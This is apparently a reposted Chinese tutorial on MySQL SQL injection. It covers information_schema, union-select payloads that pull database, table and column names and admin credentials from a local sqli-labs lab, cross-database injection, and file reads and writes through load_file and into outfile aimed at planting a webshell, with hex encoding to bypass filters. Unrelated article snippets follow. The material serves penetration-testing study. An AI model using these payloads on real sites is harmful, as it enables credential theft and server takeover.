Web攻防02-MySQL注入概述MySQL架构注入获取数据

news2025/1/12 21:08:25

文章目录

  • SQL注入概述:
      • sql注入的原理:
      • sql注入攻击:
  • MYSQL-Web组成架构
      • MYSQL5.0以上版本:自带的数据库information_schema
  • MYSQL注入流程
  • MYSQL注入查询数据过程
      • 查询数据流程
      • 靶场案例
  • MYSQL-SQL跨库注入查询
      • 跨库注入:
      • 影响条件:
      • 应用:
  • MYSQL-SQL文件读写
      • 影响条件:
      • 利用思路-读写的路径的问题:

请添加图片描述

SQL注入概述:

sql注入的原理:

接收的数值未进行过滤直接带入SQL进行查询操作。

sql注入攻击:

利用以上原理中SQL语句执行,查询出数据库中的信息(SQL语句执行能干什么,注入就能干什么)

SQL语句能干嘛–>SQL语句由谁决定 —> 数据库类型决定(所以SQL注入分为MySQL注入、Oracle注入等)

MYSQL-Web组成架构

服务器安装MYSQL数据库,搭建多个站点,数据集中存储在MYSQL数据库中管理

可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

access无数据库用户

1、统一交root用户管理

www.zblog.com = zblog = root =>MYSQL

www.demo01.com = demo01 = root =>MYSQL

2、一对一用户管理(推荐)

www.zblog.com = zblog = zblog =>MYSQL

www.demo01.com = demo01 = demo01 =>MYSQL

MYSQL5.0以上版本:自带的数据库information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

MYSQL注入流程

1、判断常见四个信息(系统,用户,数据库名,版本)

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据

为什么要先测试读写:

因为目的一般是为了获取当前web权限,若能读写文件,直接后门获取权限

一般获取数据是为了登录后台,登录后想办法上传webshell —> 获取权限

所以说就算获取到了数据,也不一定能够拿到权限。因为可能进去后台了但是后台里面啥都没有

非root用户:直接测试获取数据

MYSQL注入查询数据过程

ACCESS数据库没有类似MySQL中的information_schema这种东西,所以

access注入 sqlmap 只能靠字典去猜,又可能会猜不到表名,列名,就获取不到数据

依次从information_schema中查出数据库名,数据库所有表名、列名

然后根据以上信息查询数据。

order by 6 (字段个数)

union select 1,2,3,4,5,6

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@version_compile_os,6

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'

union select 1,2,3,username,password,6 from admin limit 0,1

查询数据流程

目的:获取数据

一步步得到信息,先获取数据库名,再获取其中表名,然后获取列名,最后查询数据。其中每一步都尽可能筛选出一些敏感信息如admin,password等。

order by 6 (字段个数)

union select 1,2,3,4,5,6

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@version_compile_os,6

union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'

union select 1,2,3,username,password,6 from admin limit 0,1

靶场案例

1、确认有注入点

http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+

请添加图片描述

2、确认回显位置:

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

请添加图片描述

3、获取数据库名以及用户:

localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+

若用户为root用户则可以进行跨库注入查询。

请添加图片描述

4、获取库中所有表名:

localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+

请添加图片描述

5、选取可能有敏感信息(账号密码)的表进行查列:

6、查列后根据库名表名列名查询数据

MYSQL-SQL跨库注入查询

跨库注入:

如果注入点是一个root用户管理的点,就可以查到所有库

—> 可以实现从A网站(由root用户管理)的注入点跨库查询到B网站(由非root用户管理)的数据

影响条件:

管理当前数据库的用户是否为ROOT权限

测试不同数据库用户

应用:

通过B网站的注入点获取A网站的账号密码/数据

MYSQL-SQL文件读写

通过SQL注入,使用SQL语句中的load_file()读取文件

使用SQL语句中的into outfile将内容写入文件

影响条件:

1、当前数据库用户权限

root权限才可使用load_file()读取文件。

2、secure-file-priv设置

设置后就无法读取了

my.ini中固定

高版本的MySQL自带该保护,默认开启。只存在一些中低版本

测试不同数据库用户:root demo

union select 1,load_file('d:\\1.txt'),3,4,5,6

union select 1,'eval',3,4,5,6 into outfile 'd:\\2.txt'

可以将路径改编码,—> 十六进制编码 —> 为了绕过WAF或者单引号过滤等。

用十六进制,前面加0x,即可不要单引号

单引号过滤绕过方式

SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

利用思路-读写的路径的问题:

1、报错显示获取路径

2、phpinfo页面泄漏

如果不知道路径思路:

利用常见的默认的中间件,数据库等安装路径,读取有价值信息

现在很少出现该漏洞了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1108771.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

xray的使用

不需要扫描 点击 双击xray 1.打开 2.使用 主打扫描 3.被动扫描 网站 与 Burp 联动 - xray 安全评估工具文档 双击 xray cmd xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output text.html 1.bp 2.这道这个 3.配置 xray 改为* 4.代理

Hadoop3教程(二十二):Yarn的基础架构与工作流程

文章目录 (126)基础架构(127)YARN的工作机制(128)作业全流程参考文献 (126)基础架构 之前基本介绍完了Hadoop的几个核心组件,接下来可以思考下,在MR程序运行…

计算未来:微软眼中的人工智能

计算未来 :人工智能及其社会角色(The Future Computed. Artificial Intelligence and its role in society )这本书于2018年09月由北京大学出版社出版。 书籍的作者是:沈向洋(微软全球执行副总裁),(美&…

C++标准模板(STL)- 类型支持 (数值极限,quiet_NaN,signaling_NaN,denorm_min)

数值极限 提供查询所有基础数值类型的性质的接口 定义于头文件 <limits> template< class T > class numeric_limits; numeric_limits 类模板提供查询各种算术类型属性的标准化方式&#xff08;例如 int 类型的最大可能值是 std::numeric_limits<int>::ma…

AST实战|比较大的混淆文件(超过10M)怎么还原

关注它&#xff0c;不迷路。 本文章中所有内容仅供学习交流&#xff0c;不可用于任何商业用途和非法用途&#xff0c;否则后果自负&#xff0c;如有侵权&#xff0c;请联系作者立即删除&#xff01; 1. 需求 目前&#xff0c;我接触到的混淆js文件大小刷新了新记录&…

在 Visual Studio Code (VS Code) 中设置

在 Visual Studio Code (VS Code) 中设置代理服务器的详细教程如下&#xff1a; 打开 Visual Studio Code。 在顶部菜单栏中&#xff0c;点击 "File"&#xff08;文件&#xff09; > "Preferences"&#xff08;首选项&#xff09; > "Settings…

成为吃鸡战场绝对王者,掌握顶级作战干货!

在绝地求生的战场上&#xff0c;只有强者才能生存&#xff01;作为吃鸡行家&#xff0c;吃鸡将在这里为您带来与众不同的游戏技巧和干货&#xff0c;助您成为绝对的战场王者&#xff01; 首先&#xff0c;让我们来介绍几个实用的吃鸡作图工具。我们推荐了几款实用的绘图软件和工…

springboot项目东方通TongWeb改造以及部署

SpringBoot东方通TongWeb改造以及部署 文章目录 SpringBoot东方通TongWeb改造以及部署1、替换springboot中的tomcat为 (东方通)tongweb&#xff0c;打包1.1 排除springboot中内置的tomcat依赖&#xff0c;设置打包方式为war包1.2 修改配置文件的配置1.2.1查看端口是否被占用1.2…

轮转数组[中等]

优质博文&#xff1a;IT-BLOG-CN 一、题目 给定一个整数数组nums&#xff0c;将数组中的元素向右轮转k个位置&#xff0c;其中k是非负数。 示例 1: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1,2,3,4,5,6] 向右轮转 2 步: [6,7,1,2,…

VMware安装银河麒麟高级服务器操作系统V10

目标 VMware安装银河麒麟高级服务器操作系统V10背景介绍环境准备安装步骤配置VM虚拟机系统安装 VMware安装银河麒麟高级服务器操作系统V10 背景介绍 近期&#xff0c;随着国产信创的持续发热和大众关注度的上升&#xff0c;我们公司决定与时俱进&#xff0c;针对国产技术趋势…

【使用OpenCV进行目标分割与计数的代码实例详解】

文章目录 概要实例一&#xff1a;硬币分割计数实例二&#xff1a;玉米粒分割计数 概要 在当今数字图像处理领域&#xff0c;图像分割技术是一项至关重要的任务。图像分割旨在将图像中的不同目标或区域准确地分开&#xff0c;为计算机视觉、图像识别和机器学习等领域提供了坚实…

javascript/python 笔记: folium feature group自动切换

1 python部分 python部分只能是静态的结果 1.1 导入库 import folium import math 1.2 数据 cell_lst表示基站位置&#xff0c;location_lst表示 用户实际位置&#xff08;均为伪数据&#xff09; cell_lst[[1.341505, 103.682498],[1.342751, 103.679604],[1.341505, 10…

【微信小程序】自定义组件布局会议OA其他页面(附源码)

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《微信小程序开发实战》。&#x1f3af;&#x1f3a…

如何为 Elasticsearch 创建自定义连接器

了解如何为 Elasticsearch 创建自定义连接器以简化数据摄取过程。 作者&#xff1a;JEDR BLASZYK Elasticsearch 拥有一个摄取工具库&#xff0c;可以从多个来源获取数据。 但是&#xff0c;有时你的数据源可能与 Elastic 现有的提取工具不兼容。 在这种情况下&#xff0c;你可…

推荐 3 个国外的自由职业者/兼职网站,大家有空可以去淘淘金

推荐 3 个国外的自由职业者/兼职网站&#xff0c;大家有空可以去淘淘金 1. Upwork 这个是全球最大的外包网站之一,很多知名公司都会在这里找外包员工 upwork.com 2. fiverr.com 这个平台也是侧重于技能变现&#xff0c;除了专业的职业技能&#xff0c;还有很多稀奇古怪的…

SpringCloud之Ribbon负载均衡解读

目录 基本介绍 概述 LoadBalanced理解 简单源码解读 1&#xff09;LoadBalancerIntercepor 2&#xff09;LoadBalancerClient 3&#xff09;负载均衡策略IRule 4&#xff09;总结 负载均衡策略 负载均衡策略 自定义负载均衡策略 基本介绍 概述 Ribbon是Netflix发布…

Nginx集群负载均衡配置完整流程

今天&#xff0c;良哥带你来做一个nginx集群的负载均衡配置的完整流程。 一、准备工作 本次搭建的操作系统环境是win11&#xff0c;linux可配置类同。 1&#xff09;首先&#xff0c;下载nginx。 下载地址为&#xff1a;http://nginx.org/en/download.html 良哥下载的是&am…

浅谈余压监控系统在住宅小区的应用方案

【摘要】&#xff1a; 本文分析了火灾发生时人员伤亡的主要原因——烟雾&#xff0c;并针对该原因提供切实可靠的系统应用解决方案&#xff0c;并通过具体案例&#xff0c;从设计依据、产品选型、系统组网、现场安装等方式介绍余压监控系统&#xff0c;希望可以在火灾发生时较大…

如何使用前端绘图库(D3.js、Chart.js等)?

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

紫光同创FPGA实现PCIE测速试验,提供PDS工程和Linux QT上位机源码和技术支持

目录 1、前言免责声明 2、我这里已有的 GT 高速接口解决方案3、设计思路框架PCIE硬件设计PCIE IP核添加和配置驱动文件和驱动安装QT上位机和源码 4、PDS工程详解5、上板调试验证并演示6、福利&#xff1a;工程代码的获取 紫光同创FPGA实现PCIE测速试验&#xff0c;提供PDS工程和…